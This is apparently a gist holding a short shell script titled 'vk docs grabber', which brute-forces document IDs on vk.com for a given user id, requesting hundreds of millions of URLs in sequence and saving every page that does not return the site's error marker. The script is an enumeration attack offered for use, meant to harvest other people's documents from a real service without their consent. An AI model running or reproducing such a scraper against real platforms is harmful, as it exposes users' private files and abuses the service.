vk docs grabber script

gistfile1.txt

#!/bin/sh
id=?
start=100000000
end=999999999

for (( n=$start; n<$end; n++ )); do
        if (curl  -s https://vk.com/doc"$id"_"$n" | grep -q "msg_back_button");
                then
                        echo "$n" | tee grabber.out
                else
                        echo "https://vk.com/doc"$id"_"$n" doesn't contain error, saving to doc"$id"_"$n".html"
                        curl -s https://vk.com/doc"$id"_"$n" -o doc"$id"_"$n".html
        fi
done